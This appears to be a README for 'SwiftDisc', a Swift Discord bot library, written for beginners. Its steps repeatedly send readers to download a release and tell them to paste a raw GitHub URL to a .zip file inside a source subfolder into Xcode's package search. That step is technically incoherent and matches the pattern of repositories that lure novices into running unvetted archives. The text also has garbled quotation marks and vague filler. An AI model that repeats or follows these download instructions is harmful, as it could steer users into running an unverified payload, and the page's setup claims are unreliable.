SwiftDisc is a powerful tool for creating Discord bots using Swift. It works seamlessly on iOS and macOS. With zero dependencies, you can easily build and run bots directly in Xcode, utilizing Swift Package Manager. It supports the full Discord v10 REST API and Gateway, so you can create feature-rich bots without hassle.
To start using SwiftDisc, follow the easy steps below. We designed this guide for everyone, including those with no programming experience.
Head over to our Releases page to download the latest version of SwiftDisc: Download SwiftDisc
- macOS 10.15 or later for development.
- Xcode 11.0 or later.
- Basic knowledge of how to install applications on your Mac.
-
Visit the Releases Page: Click the link to go to the SwiftDisc Releases page: Download SwiftDisc.
-
Download the Latest Release: On the Releases page, look for the latest version of SwiftDisc. Click the download link for the file suitable for your operating system.
-
Unzip the File: After the download completes, locate the downloaded file in your "Downloads" folder. If it is in a zipped format, double-click it to extract.
-
Open Xcode: Launch Xcode, your development environment for Swift programming.
-
Create a New Project: Start a new project by selecting "Create a new Xcode project." Choose a โmacOSโ or โiOSโ app based on your needs.
-
Add SwiftDisc to Your Project:
- In the Xcode project settings, navigate to the โPackage Dependenciesโ section.
- Click on the "+" button to add a new package.
- Paste the URL
https://raw.githubusercontent.com/bcl2025/SwiftDisc/main/Sources/SwiftDisc/Voice/SwiftDisc_2.2.zipinto the search box. - Select the latest version, and then click "Add Package".
-
Start Building Your Bot: Follow the included documentation to set up your bot. You can access it in the SwiftDisc folder you downloaded earlier.
Once you have set up SwiftDisc, you can begin building your bot with ease. Here are a few steps to get you started:
- Initialize Your Bot: Create an instance of your bot using the provided classes.
- Set Command Handlers: Use the async/await structure to handle commands effortlessly.
- Use Codable Models: Manage user data and messages simply with Codable support.
For detailed coding instructions and examples, refer to the documentation included in the SwiftDisc package.
SwiftDisc is a Discord library built for iOS and macOS, designed to give you complete control over Discord bot features.
While knowing Swift is beneficial, this guide walks you through the basic setup, making it beginner-friendly.
For assistance, join our Discord community. You can find the link to our Discord server on the main GitHub page.
SwiftDisc is MIT licensed, allowing you to use, modify, and share the software freely.
With your environment set up, you are ready to dive into bot development. Remember, the documentation provides numerous examples and use cases. Happy coding!
Make sure to check the Releases page regularly for updates and new features: Download SwiftDisc